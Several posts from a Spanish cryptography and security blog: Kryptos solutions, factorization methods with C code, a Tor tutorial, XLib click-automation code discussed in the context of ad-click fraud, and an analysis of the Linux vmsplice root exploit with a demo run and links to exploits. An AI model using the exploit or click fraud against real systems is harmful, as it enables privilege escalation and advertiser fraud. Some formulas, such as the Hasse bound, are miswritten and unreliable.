VFPJUDEEHZWETZYVGWHKKQETGFQJNCE
GGWHKK?DQMCPFQZDQMMIAGPFXHQRLG
TIMVMZJANQLVKQEDAGDVFRPJUNGEUNA
QZGZLECGYUXUEENJTBJLBQCRTBJDFHRR
YIZETKZEMVDUFKSJHKFWHKUWQLSZFTI
HHDDDUVH?DWKBFUFPWNTDFIYCUQZERE
EVLDKFEZMOQQJLTTUGSYQPFEUNLAVIDX
FLGGTEZ?FKZBSFDQVGOGIPUFXHHDRKF
FHQNTGPUAECNUVPDJMQCLQUMUNEDFQ
ELZZVRRGKFFVOEEXBDMVPNFQXEZLGRE
DNQFMPNZGLFLPMRJQYALMGNUVPDXVKP
DQUMEBEDMHDAFMJGZNUPLGEWJLLAETG


ABCDEFGHIJKLMNOPQRSTUVWXYZABCD
AKRYPTOSABCDEFGHIJLMNQUVWXZKRYP
BRYPTOSABCDEFGHIJLMNQUVWXZKRYPT
CYPTOSABCDEFGHIJLMNQUVWXZKRYPTO
DPTOSABCDEFGHIJLMNQUVWXZKRYPTOS
ETOSABCDEFGHIJLMNQUVWXZKRYPTOSA
FOSABCDEFGHIJLMNQUVWXZKRYPTOSAB
GSABCDEFGHIJLMNQUVWXZKRYPTOSABC
HABCDEFGHIJLMNQUVWXZKRYPTOSABCD
IBCDEFGHIJLMNQUVWXZKRYPTOSABCDE
JCDEFGHIJLMNQUVWXZKRYPTOSABCDEF
KDEFGHIJLMNQUVWXZKRYPTOSABCDEFG
LEFGHIJLMNQUVWXZKRYPTOSABCDEFGH
MFGHIJLMNQUVWXZKRYPTOSABCDEFGHI


ENDYAHROHNLSRHEOCPTEOIBIDYSHNAIA
CHTNREYULDSLLSLLNOHSNOSMRWXMNE
TPRNGATIHNRARPESLNNELEBLPIIACAE
WMTWNDITEENRAHCTENEUDRETNHAEOE
TFOLSEDTIWENHAEIOYTEYQHEENCTAYCR
EIFTBRSPAMHHEWENATAMATEGYEERLB
TEEFOASFIOTUETUAEOTOARMAEERTNRTI
BSEDDNIAAHTTMSTEWPIEROAGRIEWFEB
AECTDDHILCEIHSITEGOEAOSDDRYDLORIT
RKLMLEHAGTDHARDPNEOHMGFMFEUHE
ECDMRIPFEIMEHNLSSTTRTVDOHW?OBKR
UOXOGHULBSOLIFBBWFLRVQQPRNGKSSO
TWTQSJQSSEKZZWATJKLUDIAWINFBNYP
VTTMZFPKWGDKZXTJCDIGKUHUAUEKCAR


NGHIJLMNQUVWXZKRYPTOSABCDEFGHIJL
OHIJLMNQUVWXZKRYPTOSABCDEFGHIJL
PIJLMNQUVWXZKRYPTOSABCDEFGHIJLM
QJLMNQUVWXZKRYPTOSABCDEFGHIJLMN
RLMNQUVWXZKRYPTOSABCDEFGHIJLMNQ
SMNQUVWXZKRYPTOSABCDEFGHIJLMNQU
TNQUVWXZKRYPTOSABCDEFGHIJLMNQUV
UQUVWXZKRYPTOSABCDEFGHIJLMNQUVW
VUVWXZKRYPTOSABCDEFGHIJLMNQUVWX
WVWXZKRYPTOSABCDEFGHIJLMNQUVWXZ
XWXZKRYPTOSABCDEFGHIJLMNQUVWXZK
YXZKRYPTOSABCDEFGHIJLMNQUVWXZKR
ZZKRYPTOSABCDEFGHIJLMNQUVWXZKRY
ABCDEFGHIJKLMNOPQRSTUVWXYZABCD

Aunque tanto la NSA como la propia CIA resolvieron el acertijo, la primera persona que anunció públicamente las tres primeras partes fué James Gillogly, en 1999. Por lo que se sabe, la cuarta parte continúa todavía sin resolver.

Solución a la Primera Parte:
(Vigenere clave alfabeto: kryptos, clave: palimpsest)

BETWEEN SUBTLE SHADING AND THE ABSENCE OF LIGHT LIES THE NUANCE OF IQLUSION

Solución a la Segunda Parte:
(Vigenere clave alfabeto: kryptos, clave: Abscissa)

IT WAS TOTALLY INVISIBLE HOWS THAT POSSIBLE ? THEY USED THE EARTHS MAGNETIC FIELD X THE INFORMATION WAS GATHERED AND TRANSMITTED UNDERGRUUND TO AN UNKNOWN LOCATION X DOES LANGLEY KNOW ABOUT THIS ? THEY SHOULD ITS BURIED OUT THERE SOMEWHERE X WHO KNOWS THE EXACT LOCATION ? ONLY WW THIS WAS HIS LAST MESSAGE X THIRTY EIGHT DEGREES FIFTY SEVEN MINUTES SIX POINT FIVE SECONDS NORTH SEVENTY SEVEN DEGREES EIGHT MINUTES FORTY FOUR SECONDS WEST X LAYER TWO

Solución a la Tercera Parte:

SLOWLY DESPARATLY SLOWLY THE REMAINS OF PASSAGE DEBRIS THAT ENCUMBERED THE LOWER PART OF THE DOORWAY WAS REMOVED WITH TREMBLING HANDS I MADE A TINY BREACH IN THE UPPER LEFT HAND CORNER AND THEN WIDENING THE HOLE A LITTLE I INSERTED THE CANDLE AND PEERED IN THE HOT AIR ESCAPING FROM THE CHAMBER CAUSED THE FLAME TO FLICKER BUT PRESENTLY DETAILS OF THE ROOM WITHIN EMERGED FROM THE MIST X CAN YOU SEE ANYTHING Q (?)

Referencias:
- http://www.elonka.com/kryptos
- Kryptos en la CIA.

Hugo Scolnik: Avances en la Factorización Entera

2008-03-30T01:48:00.000-07:00

El pasado 3 de diciembre se celebró el II Día Internacional de la Seguridad en la Información (DISI 2007). En el, Hugo Scolnik presentó un nuevo algoritmo de factorización, que aunque está por terminar, no tiene mala pinta.

A continuación dejo los enlaces (Criptored) a la presentación y el vídeo de la conferencia:

Presentación PDF.

Estos archivos pueden descomprimirse en Línux con el siguiente comando:

$ cat *.z* > video.zip && unzip video.zip

En el foro de Kriptopolis, alguien que firmaba como "Hugo Scolnik" ponía un ejemplo sencillo de factorización:

Enviado por anónimo el 4. Enero 2008 - 8:42.

Pues ahi va un ejemplo pequeño para ilustrar el tema
Sea n = 507527

Los targets únicos son (23 en total):

(1,0,3) , (1,0,4), (4,1,5),....,(649,576,720)

Esto significa que x^2 = 1+3t(1) = 1+4t(2)=...= 649+720t(23)

con t(23) = 88 se consigue la soluciòn

Con respecto a y^2 tenemos que puede escribirse como 576+720u(23) con u(23) = 793

Obviamente con n grande es impracticable buscar los valores de t o de u.
Ahora, (n + 649 -576)/720 = 705 y algunos targets ùnicos de 705 son
(0,1,4) , (0,1,8), (0,1,16)

Llamaremos (a1,b1,c1) al target ùnico elegido del primer nivel, o sea (649,576,720) y
(a2,b2,c2) al del segundo nivel

Si usamos el primero con la fòrmula x^2 =a1+c1a2+c1c2t = 649+2880t correcto con t = 22
Si usamos el segundo obtenemos x^2 = 649+5760t correcto con t = 11
Pero el tercero da x^2= 649+11520t que es FALSO (deberìa dar x^2 = 6409+11520t)

¿Còmo corregir 649 ? Habrìa que sumarle deltax2 = 5760 = 8c1 (siempre es un mùltiplo de c1)

Para y^2 obtenemos y^2= b1+c1b2+c1c2u

En el primer caso y^2 = 1296+2880u correcto con u = 198
En el segundo caso y^2 = 1296+5760u correcto con u = 99
El tercero falla pues da y^2 = 1296+11520u y deberìa ser 7056+11520u

La correcciòn es deltay2 = 5760 que es igual a deltax2

Varios de los teoremas que mostrè ràpidamente tienen que ver con las correcciones, su relaciòn con las ecuaciones
diofánticas, etc. Casos muy interesantes son los simètricos, donde aparecen en el nivel k > 1 targets ùnicos
idènticos a los del primer nivel (al parecer siempre existen pero todavìa no nos dedicamos a demostrarlo porque
hay otras prioridades). Para ellos se pueden demostrar varios resultados muy interesantes, y ahora los estoy
usando para la exploraciòn de las ramas provenientes de las posibles elecciones de targets.

Cordialmente

Hugo Scolnik

Publicidad web: Automatizando clics

2008-02-23T12:39:00.000-08:00

Aunque la automatización del movimiento del mouse y la realización de clics tiene cientos de aplicaciones lícitas, a nadie se le escapa la posibilidad de usarlo para realizar clics fraudulentos en la los anuncios contextuales de la web.

La primera pregunta que se plantea uno ...

... es qué medidas de seguridad adoptarán las empresas que, como por ejemplo Google (Adsense), ofrecen este servicio.

Es lógico pensar que si todos los clics vienen desde la misma IP no se tendrán en cuenta. Pero esta barrera es fácil saltársela con sistemas de navegación anónima como Tor.

Pero las empresas que se dedican a estas cosas, que no son tontas, no dan esos clics por válidos.

Hasta aqui todo bien, pues sigue la lógica que cabría esperar.

El problema se produce en el momento que estas empresas deciden considerar al propietario de la web que recibe los clics como culpable de los mismos, eliminándole la cuenta.

Este hecho produce una consecuencia terrible: la aparición de un ataque de denegación de servicio.

La segunda pregunta que se plantea uno ...

... es cuanto se puede tardar en desarrollar un programa que mueva el mouse a una posición (x,y) y realice un clic sobre ella.

Después de googlear un poquito y realizar algunas pruebas la conclusión es extremecedora ... En unos 20 minutos el programa esta listo.

Cómo mover el mouse con XLib:

A continuación pego una función que mueve el puntero del mouse a la posición X,Y pasada como parámetro.


void mouse_move(int x, int y)
{
   Display *display = XOpenDisplay(0);
   Window root = DefaultRootWindow(display);
   XWarpPointer(display, None, root, 0, 0, 0, 0, x, y);
   XCloseDisplay(display);
}

Cómo hacer clic con XLib:

A continuación pego una función que hace clic sobre la posición actual del mouse. Para realizar clic con el botón derecho se usa button=0.


void mouse_click(int button)
{
   Display *display = XOpenDisplay(NULL);
   XEvent event;
   memset(&event, 0x00, sizeof(event));
   event.type = ButtonPress;
   event.xbutton.button = button;
   event.xbutton.same_screen = True;
   XQueryPointer(display, RootWindow(display, DefaultScreen(display)), 
      &event.xbutton.root, &event.xbutton.window, &event.xbutton.x_root,
      &event.xbutton.y_root, &event.xbutton.x, &event.xbutton.y,
      &event.xbutton.state);
   event.xbutton.subwindow = event.xbutton.window;

   while(event.xbutton.subwindow)
   {
       event.xbutton.window = event.xbutton.subwindow;
       XQueryPointer(display, event.xbutton.window, &event.xbutton.root,
          &event.xbutton.subwindow, &event.xbutton.x_root,
          &event.xbutton.y_root, &event.xbutton.x, &event.xbutton.y,
          &event.xbutton.state);
   }

   if(XSendEvent(display, PointerWindow, True, 0xfff, &event)==0)
      fprintf(stderr, "XSendEvent()\n");

   XFlush(display);
   usleep(100000);

   event.type = ButtonRelease;
   event.xbutton.state = 0x100;

   if(XSendEvent(display, PointerWindow, True, 0xfff, &event)==0)
      fprintf(stderr, "XSendEvent()\n");

   XFlush(display);
   XCloseDisplay(display);
}

El programa:

Vistas las funciones anteriores resulta trivial desarrollar un programa:



int main(int argc, char* argv[])
{
   if(argc!=3)
   {
      printf("Usage: %s [x coord] [y coord]\n\n", argv[0]);
      return 0;
   }

   int x = atoi(argv[1]);
   int y = atoi(argv[2]);
   mouse_move(x, y);
   mouse_click(0);
   return 0;
}

Solo queda decir que las librerias necesarias de XLib son X11/Xlib.h y X11/Xutil.h
Y que el programa se compila con:

$ gcc click.c -lX11

Conclusiones:

La publicidad web genera mucho dinero, lo que la hace atractiva para todo intento de uso fraudulento. Sin embargo las empresas que se dedican a esto saben lo que hacen y no resulta sencillo tomarles el pelo.
Lo que quiero decir con esto es que el intento de ganar dinero haciendo clics en publicidad propia dificilmente llegará a buen término, por lo que no se lo recomiendo a nadie.

Para finalizar un comentario para las empresas que se dedican a cancelar la cuenta del usuario que recibe clics fraudulentos: mala idea.

Cómo funciona el exploit vmsplice

2008-02-17T10:49:00.000-08:00

Despues del revuelo ocasinado por el bug vmsplice() en el kernel Linux vamos a realizar un pequeño análisis de su funcionamiento. Para el que no lo sepa, la explotación del bug vmsplice permite a un usuario del sistema convertirse en root. Esto ocurre en los kernels que van desde la versión 2.6.17 a la 2.6.24.1.

Algunos exploits disponibles son:

http://www.milw0rm.com/exploits/5092
http://www.milw0rm.com/exploits/5093

Veamos un ejemplo con el segundo exploit:

$ uname -r
2.6.23

$ gcc exploit.c
$ ./a.out
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] addr: 0xc011481b
[+] root
$ id
uid=0(root) gid=0(root) grupos=501(user)

La llamada al sistema vmsplice:

vmsplice es una llamada al sistema que puede ser accedida desde espacio de usuario mediante syscall().

syscall(__NR_vmsplice, fd, iov, nr_segs, flags);

Encontramos su implementación en fs/splice.c, en las fuentes del kernel Linux:



asmlinkage long sys_vmsplice(
   int fd, const struct iovec __user *iov,
   unsigned long nr_segs, unsigned int flags)
{
...
}

Nos interesa prestar atención a los parámetros recibidos por la llamada al sistema, pues son los que el usuario puede controlar al llamar a la función.

Cuando un usuario llama a sys_vmsplice() se produce la siguiente secuencia de llamadas:

- sys_vmsplice() - vmsplice_to_pipe() - get_iovec_page_array()

Dado que el bug se encuentra en get_iovec_page_array() nos interesará saber qué parámetros de la misma puede controlar el usuario. Es decir, qué parámetros de sys_vmsplice() llegan hasta get_iovec_page_array() y si estos parámetros pasan por algun filtro durante el proceso.

Si leemos con atención las funciones implicadas vemos que desde la llamada a sys_vmsplice() hasta la ejecución de la función vulnerable get_iovec_page_array() se mantienen los parámetros: iov y nr_segs.

La función get_iovec_page_array():

La función get_iovec_page_array() es la función vulnerable que el exploit aprovecha para obtener privilegios de root. Como se ha comentado en el apartado anterior, el usuario puede controlar los parámetros iov y nr_segs de esta función.

Observemos el siguiente código de la función vulnerable:



struct iovec entry;

...

if(copy_from_user_mmap_sem(&entry, iov, sizeof(entry)))
   break;
...
len = entry.iov_len;
...
npages = (off + len + PAGE_SIZE - 1) >> PAGE_SHIFT;
if (npages > PIPE_BUFFERS - buffers)
   npages = PIPE_BUFFERS - buffers;

error = get_user_pages(current, current->mm,
      (unsigned long) base, npages, 0, 0,
      &pages[buffers], NULL);

"iov" es copiada en "entry" y el valor de "iov_len" asignado a la variable "len". Por lo tanto, el usuario tiene el control de la variable "len".
A continuación se calcula "npages" mediante off + len + PAGE_SIZE - 1.

En la función get_user_pages() se asume que npages es como mínimo 1. Dado que "len" no debe ser 0, off + len + PAGE_SIZE - 1 siempre será mayor o igual que PAGE_SIZE. Sin embargo, si "len" tiene un valor cercano a UINT32_MAX, entonces npages podría valer 0 (integer overflow).

Como consecuencia get_user_pages() podría retornar más de PIPE_BUFFERS entradas, lo que como veremos a continuación, produce un buffer overflow.

A continuación, en get_iovec_page_array(), viene el siguiente código:



for (i = 0; i < error; i++) 
{
   const int plen = min_t(size_t, len, PAGE_SIZE - off);

   partial[buffers].offset = off;
   partial[buffers].len = plen;

   off = 0;
   len -= plen;
   buffers++;
}

El tamaño del array "partial" es PIPE_BUFFERS pero como hemos comentado, el valor de "error" será superior a este. Por lo tanto, las estructuras de datos que se encuentren a continuación de "partial" serán sobreescritas con "off" y "plen".

Normalmente la víctima de esta sobreescritura es el array "pages" que contiene punteros. En este caso, por ejemplo, se podria sobreescribir "pages" con valores NULL.

Cómo ejecutar código arbitrario:

Normalmente cuando el Kernel intenta acceder a un puntero NULL se obtiene una excepción que finaliza el proceso. Pero existe una técnica que puede ser usada por el atacanta para que en lugar de obtener un error se ejecute código arbitrario. Esta técnica consiste en mapear la dirección 0 y guardar allí datos que permitiran el control del usuario y la ejecución de código en el contexto del kernel.

Posibles soluciones:

Sin duda la mejor solución al problema consiste en actualizar el kernel o aplicar el parche correspondiente. Pero en casos de que eso no sea posible, por ejemplo, por la imposibilidad de reiniciar la máquina, puede usarse el siguiente módulo:

http://home.powertech.no/oystein/ptpatch2008/ptpatch2008.c

Referencias:
- Informe de McAfee Labs
- http://www.coseinc.com/coseinc_linux_advisory_3.pdf

Factorización IV: El Método de Curva Elíptica

2008-01-13T05:35:00.000-08:00

El siguiente artículo es el cuarto de una serie dedicada a la factorización de números enteros. Hasta ahora se han visto los algoritmos básicos de factorización como Pollard P-1, que aunque pueden parecer rápidos, tienen complejidad exponencial, lo que los incapacita para factorizar números relativamente grandes. También se han introducido algunos de los conceptos necesarios para profundizar en el tema que nos permitirán, en este artículo y en los siguientes, estudiar los tres algoritmos más rápidos de factorización. Estos son el Método de Curva Elíptica (ECM), La Criba Cuadrática (QS) y la Criba en el Campo de Números (NFS), los tres de complejidad subexponencial. Empezaremos por el Método de Curva Elíptica.

En el artículo Criptografía de Curva Elíptica dimos una introducción a este peculiar tipo de curvas y su aplicación a la criptografía. A continuación iremos un poco más lejos y veremos como aprovechar esta herramienta matemática para factorizar números enteros grandes.

Para entender el siguiente artículo es necesario disponer de unos conocimientos básicos de curvas elípticas. En caso contrario, es recomendable leer primero el artículo mencionado anterioremente.

El Teorema de Lagrange:

Si aplicamos el Teorema de Lagrange a las curvas elípticas no encontramos con algo interesante que nos conducizará al método de factorización mediante curvas elípticas.

Si P es un punto en una curva elíptica E, entonces el orden de P dividirá el orden de E.

Recordemos que el orden de E, representado como #E, corresponde al número de puntos que hay en una curva E. Mientras que el orden de P, corresponde al valor k más pequeño (diferente de O) tal que kP = O.

Imaginemos que queremos factorizar un número N. Si encontramos una curva E definida sobre N, cuyo orden sea B-smooth, para un valor de B suficientemente pequeño, nos encontraremos con que B!P = O.

Esto ocurre debido a que #E es B-smooth y el orden de P debe ser un divisor de #E, tal y como nos indica el Teorema de Lagrange.

Factorización:

Encontrar un valor k tal que kP=O, en una curva mod N, es equivalente a encontrar un factor de N.

Esto ocurre por que durante el proceso de cálculo de kP se realizan operaciones que necesitan que cierto número d tenga inversa d^(-1). Para que d sea invertible debe cumplirse que el máximo común divisor entre d i el módulo sea igual a 1.

Pero ¿qué ocurre si d no tiene inversa? pues que el máximo común divisor entre d y el módulo N es diferente de 1. Con lo que tenemos un factor de N!

Imaginemos que queremos factorizar 4453. En este caso buscaríamos curvas aleatorias hasta encontrar una cuyo orden fuese B-smooth. Por ejemplo y²=x³+10x-2 mod 4453.

Ahora calcularíamos, kP para un valor pequeño de K. Empezemos por 2P para, por ejemplo P=(1,3).

(3x²+10) / 2y = 13 / 6 mod 4453 (derivada)

Para calcular 13/6 necesitamos calcular 6^(-1). Dado que MCD(6, 4452) podemos hacerlo: 6^(-1) = 3711, con lo que obtenemos:

13 / 6 = 3713 mod 4453
x = 3713²-2 = 4332
y = -3713(x-1)-3 = 3230

Para calcular 3P hacemos 2P + P:

(3230-3) / (4332-1) = 3227/4331.

Igual que en el cálculo anterior, para poder calcular 3227/4331 es necesario que 4331 tenga inversa, es decir, que MCD(4331, 4453) sea 1. Pero si realizamos el cálculo vemos que MCD(4331, 4453)=61. Con lo que hemos encontrado un factor de N.

Complejidad:

El método de factorización mediante curvas elípticas és muy rápido. De hecho, cuando deseamos factorizar números enteros grandes i sabemos que undo de los factores es mucho menor que el otro, este método es el más rápido.

Veamos a continuación por que és tan rápido.

El teorema de Hasse nos dice que el orden #E satisface la siguiente ecuación:

p+1-2 sqr(p) < #E < p+1-2 sqr(p)

Esto nos da una cierta idea del intervalo en el que puede moverse el valor #E. De esta manera sabemos que al generar una curva aleatoria, estamos obteniendo un valor entre este rango, de manera que si es B-smooth, conseguiremos factorizar N.

El número estimado de operaciones que necesitaremos realizar para encontrar una curva B-smooth es el siguiente:

exp(sqr(2) + O(1) + sqr(lnp ln lnp)

Como vemos, el número de operaciones necesarias es subexponencial, esto proviene del hecho de que la complejidad de encontrar números smooth es también subexponencial. Lo mismo ocurre con los algoritmos QS y NFS.

Software:

Actualmente la implementación libre más rápida de ECM es GMP-ECM, disponible en:

http://www.komite.net/laurent/soft/ecm/

Referencias:
- Elliptic Curves, Number Theory and Cryptography. Lawrence C. Washington.
- Prime Numbers, A Computational Perspective. Crandall & Pomerance.

Factorización III: P-1 de Pollard

2007-11-21T11:25:00.000-08:00

Continuamos la serie de artículos sobre factorización con un algoritmo muy sencillo conocido como P-1 de Pollard.

El algoritmo de factorización P-1 de Pollard parte de la idea de smoothness o suavidad. Un número se considera B-smooth cuando todos sus factores son más pequeños que B. Esta idea, puede ser usada con éxito como herramienta de factorización, usando como base el Teorema Pequeño de Fermat:

b^p = b mod p
b^(p-1) = 1 mod p

A partir de la formula anterior deducimos que b^(p-1) - 1 es múltiplo de p. De manera que si disponemos de un número n=pq el cual deseamos factorizar , podremos hacerlo si somos capaces de calcular b^(p-1).
Inicialmente, esto puede parecer complicado, dado que no conocemos p. Pero supongamos que p-1 es B-smooth, para un valor de B bastante pequeño. Esto significaría que podemos calcular un valor M que contenga todos los factores de p-1, por ejemplo, calculando B!. Y si p-1 es un divisor de M, podemos aplicar el Teorema Pequeño de Fermat de la siguiente manera:

b^M = 1 mod p

Lo que nos llevarà a obtener un factor de n calculando el Máximo Común Divisor entre b^M-1 y n.

MCD(b^M-1, n)

Para finalizar, adjunto un programa en C y un ejemplo de su uso.

$ gcc pollard_pm1.c -lgmp -o pollard_pm1
$ ./a.out 97231944203 10
Factor = 888799
Factor = 109397


/* Pollard P-1 */
#include <stdio.h>
#include <gmp.h>


int main(int argc, char *argv[])
{
mpz_t n, a, GCD, tmp, k;
unsigned long int b;
gmp_randstate_t state;

if(argc!=3)
{
  printf("Usage: %s [n] [B]\n", argv[0]);
  return 0;
}

mpz_init(n);
mpz_init(tmp);
mpz_init(a);
mpz_init(GCD);
mpz_init(k);

mpz_set_str(n, argv[1], 10);
b = atof(argv[2]);

if(mpz_perfect_power_p(n) != 0)
{
  mpz_sqrt(tmp, n);
  gmp_printf("factor: %Zd\n", tmp);
  return 0;
}
mpz_sub_ui(tmp, n, 1);
mpz_fac_ui(k, b);

gmp_randinit_default(state);

while(1)
{
  mpz_sub_ui(tmp, n, 1);
  mpz_urandomm(a, state, tmp);

  if (mpz_cmp_ui(a, 1) <= 0)
     mpz_set_ui(a, 2);

  mpz_powm(tmp, a, k, n);
  mpz_sub_ui(tmp, tmp, 1);
  mpz_abs(tmp, tmp);
  mpz_gcd(GCD, tmp, n);

  if (mpz_cmp_ui(GCD, 1) > 0)
  {
     if (mpz_probab_prime_p(GCD, 10) > 0)
     {
        gmp_printf("Factor = %Zd\n", GCD);
        mpz_div(n, n, GCD);
     }
  }
  if (mpz_cmp_ui(n, 1) == 0)
  {
     mpz_clear(a);
     mpz_clear(GCD);
     mpz_clear(tmp);
     mpz_clear(n);
     mpz_clear(k);
     return 0;
  }

  if (mpz_probab_prime_p(n, 10) > 0)
  {
     gmp_printf("Factor = %Zd\n", n);
     mpz_clear(a);
     mpz_clear(GCD);
     mpz_clear(tmp);
     mpz_clear(n);
     mpz_clear(k);
     return 0;
  }
}

return 0;
}

Introducción a las redes Tor

2007-10-31T12:41:00.000-07:00

Tor es un cojunto de herramientas que pretende conseguir el anonimato online. Usa una red de máquinas o nodos a través de los cuales enruta el tráfico de red, tal y como se muestra en el esquema siguiente:

Como se ve en el dibujo una conexión a través de la red Tor usa tres nodos intermediarios entre el origen y el destino. De esta manera la máquina destino que recibe la conexión solo tendrá acceso a la IP del último nodo.

Tor ofrece una interfaz SOCKS a las aplicaciones, por lo que cualquier aplicación preparada para usar SOCKS podrá utilizar la red Tor sin problemas.
Sin embargo, no es necesario que una aplicación disponga de soporte para SOCKS, dado que Tor distribuye un script llamado "torify" que permite que cualquier aplicación use la red tor.

Este script emplea la herramienta tsocks para permitir que una aplicación use SOCKS de forma transparente.

Para que un usuario pueda conectarse a la red Tor necesita obtener un listado de nodos de la red. Este proceso, como indica el dibujo, se realiza sin cifrar.

A continuación se empieza a crear el circuito por el que viajaran los datos en la red Tor. Cada servidor conoce únicamente al servidor que le proporciona los datos y al servidor al que se los envía. por lo que ninguna máquina conoce el recorrido completo. Además, en cada tramo, los servidores afectados negocian claves diferentes, impidiendo que las conexiones sean rastreadas.

Una vez el circuito ha sido establecido se utilizará durante unos diez minutos. Posteriormente se creará un circuito nuevo.

La forma de instalar Tor depende en gran medida del sistema operativo utilizado, por lo que para instalarlo lo mejor es partir de la documentación oficial.

Una vez instalado su uso es sencillo. Por ejemplo, podríamos torificar la aplicación netcat con el comando siguiente:


$ torify nc www.google.com 80

Observemos el funcionamiento de Tor. Si no usamos el comando "torify" vemos que estamos realizando una conexión directa a google.


$ nc www.google.com 80

# En otro terminal
$  netstat  | grep ESTABLISHED
tcp        0      0 192.168.1.69:34362          nf-in-f99.google.com:http   ESTABLISHED

Sin embargo, torificando netcat los resultados son diferentes.


$ torify nc www.google.com 80

# En otro terminal
$ netstat  | grep ESTABLISHED
tcp        0      0 192.168.1.69:34352          tor.outra.net:9090          ESTABLISHED
tcp        0      0 192.168.1.69:34351          cyberphunk.eu:9001          ESTABLISHED

Queda claro que no saltamos directamente al servidor de google sino que entramos en la red Tor. Veamos ahora con que dirección IP llegamos a nuestro destino. Necesitaremos una web que nos diga la dirección IP (http://www.vermiip.es/) y otra que nos diga la localización geográfica (http://www.ip2location.com/free.asp),

Esto nos permitirá obtener la IP con el comando:


$ torify lynx --dump http://www.vermiip.com 2>/dev/null | grep "Tu ip" | cut -c 18-30
85.214.63.25

Y su localización geográfica:


$ torify lynx --dump http://www.ip2location.com/free.asp?ipaddresses=85.214.63.25 \
2>/dev/null | grep "85.214.63.25\|mapit" |  sed -e 's/\[.*\]//'
          85.214.63.25 DE GERMANY
BERLIN BERLIN STRATO RECHENZENTRUM BERLIN

De esta manera podemos construir un sencillo script que nos de el listado de nodos de salida de Tor.


$ cat  print_tor_nodes.sh
#!/bin/bash

while true; do

IP=`torify lynx --dump http://www.vermiip.com 2>/dev/null | grep "Tu ip" | cut -c 18-30`;

DATA=`torify lynx --dump http://www.ip2location.com/free.asp?ipaddresses="$IP" \
2>/dev/null | grep "$IP\|mapit" |  sed -e 's/\[.*\]//'`

echo $DATA
sleep 300

done

Del que extraemos el siguiente listado, que nos permite ver los nodos que nos dan acceso a Internet en último lugar.


208.64.29.34 US UNITED STATES NEW YORK NEW YORK R & D TECHNOLOGIES LLC
217.20.117.1 DE GERMANY BERLIN BERLIN NETDIREKT E. K
128.197.11.3 US UNITED STATES MASSACHUSETTS BOSTON BOSTON UNIVERSITY
88.191.29.92 FR FRANCE ILE-DE-FRANCE PARIS DEDIBOX SAS
88.191.25.27 FR FRANCE ILE-DE-FRANCE PARIS DEDIBOX SAS
89.149.207.1 DE GERMANY BERLIN BERLIN NETDIREKT E.K
87.234.124.1 DE GERMANY BERLIN BERLIN QSC AG DYNAMIC IP ADDRESSES
88.191.29.92 FR FRANCE ILE-DE-FRANCE PARIS DEDIBOX SAS
87.234.124.1 DE GERMANY BERLIN BERLIN QSC AG DYNAMIC IP ADDRESSES
88.191.29.92 FR FRANCE ILE-DE-FRANCE PARIS DEDIBOX SAS
128.197.11.3 US UNITED STATES MASSACHUSETTS BOSTON BOSTON UNIVERSITY
75.72.79.46 US UNITED STATES
203.26.16.68 AU AUSTRALIA NEW SOUTH WALES WEST WYALONG TPG INTERNET PTY LTD
88.191.11.18 FR FRANCE ILE-DE-FRANCE PARIS DEDIBOX SAS
88.198.50.14 DE GERMANY - - HETZNER-RZ-NBG-NET
83.243.80.77 DE GERMANY BERLIN BERLIN SERVERCREW LTD. PI
88.191.29.92 FR FRANCE ILE-DE-FRANCE PARIS DEDIBOX SAS
209.160.32.1 US UNITED STATES DISTRICT OF COLUMBIA WASHINGTON HOPONE INTERNET CORPORATION
60.167.39.24 CN CHINA BEIJING BEIJING CHINANET ANHUI PROVINCE NETWORK
83.217.66.50 BE BELGIUM OOST-VLAANDEREN DENDERMONDE NMV-CUST-DIGITALROOT
128.2.141.33 US UNITED STATES PENNSYLVANIA PITTSBURGH CARNEGIE MELLON UNIVERSITY83.171.182.9 DE GERMANY BAYERN NüRNBERG MNET TELEKOMMUNIKATION GMBH
85.214.63.25 DE GERMANY BERLIN BERLIN STRATO RECHENZENTRUM BERLIN
74.208.46.15 US UNITED STATES NEW YORK NEW YORK 1&1 INTERNET INC
122.145.8.19 JP JAPAN - - FREEBIT CO. LTD
71.226.252.2 US UNITED STATES PENNSYLVANIA WEST CHESTER COMCAST CABLE COMMUNICATIONS INC
83.233.181.9 SE SWEDEN - - PROVIDER LOCAL REGISTRY
166.70.207.2 US UNITED STATES UTAH SALT LAKE CITY XMISSION
195.71.90.10 DE GERMANY - - PROVIDER LOCAL REGISTRY
...

Respecto al script anterior, realiza un sleep de cinco minutos antes de reintentar, lo que hace el procese extremadamente lento. Si se reinicia Tor antes de cada petición el circuito se crea de nuevo y se obtiene un nodo diferente. De esta manera puede suprimirse el sleep del script.

En el momento de escribir este artículo la red Tor es relativamente pequeña, lo que disminuye notablemente el grado de anonimato. Aunque, sin duda, tiene un futuro prometedor.

Referencias:
- Tor Project: http://www.torproject.org

Factorización II: Rho de Pollard

2007-10-25T23:37:00.000-07:00

Continuando con la serie de artículos sobre factorización, hoy veremos el método Rho de Pollard. Un instructivo algoritmo que permite factorizar números bastante más grandes que los que podríamos factorizar mediante divisiones sucesivas de números primos o aplicando directamente el método de Fermat, tal y como vimos en "Factorización I: Introducción".

A lo largo de este artículo (y de los siguientes) se usará la operación mod. Esta operación representa el resto de una división entera. Por ejemplo 6 mod 5 =1 pues si dividimos seis entre cinco la division no es exacta, dado que tiene resto 1. Otros ejemplos pueden ser: 101 mod 99 = 2, 4^2 mod 15=1 o 33² mod 989 = 10².

Ahora supongamos que tenemos la ecuación F(x)=x² mod n. Si aplicamos esta ecuación para diferentes valores de x queda claro que el resultado siempre será menor que n. Por lo tanto, si aplicamos la ecuación para diferentes valores de x es lógico pensar en que en algun momento los resultados empezarán a repetirse, pues son finitos!

Veamos un ejemplo para n=323, empezando por ejemplo con x=2.

F(2) = 2² mod 323 = 4
F(4) = 4² mod 323 = 16
F(16) = 16² mod 323 = 256
F(256) = 256² mod 323 = 290
F(290) = 290² mod 323 = 120
F(120) = 120² mod 323 = 188
F(188) = 188² mod 323 = 137
F(137) = 137² mod 323 = 35
F(35) = 35² mod 323 = 256
F(256) = 16² mod 323 = 290
F(290) = 290² mod 323 = 120

Como se ve marcado en rojo, a partir de F(35) los resultados empiezan a repetirse, entrando en un ciclo.

Si representamos en un dibujo los resultados obtenidos vemos que su forma es similar al de la letra griega rho. Lo que da nombre al algoritmo.

El algoritmo Rho de Pollard permite encontrar ciclos cuando se trabaja con grupos donde los elementos son finitos. De manera que lo único que hemos hecho hasta ahora es encontrar un ciclo en un campo de números finitos con n=323. Pero, ¿Cómo aplicar esto para factorizar?

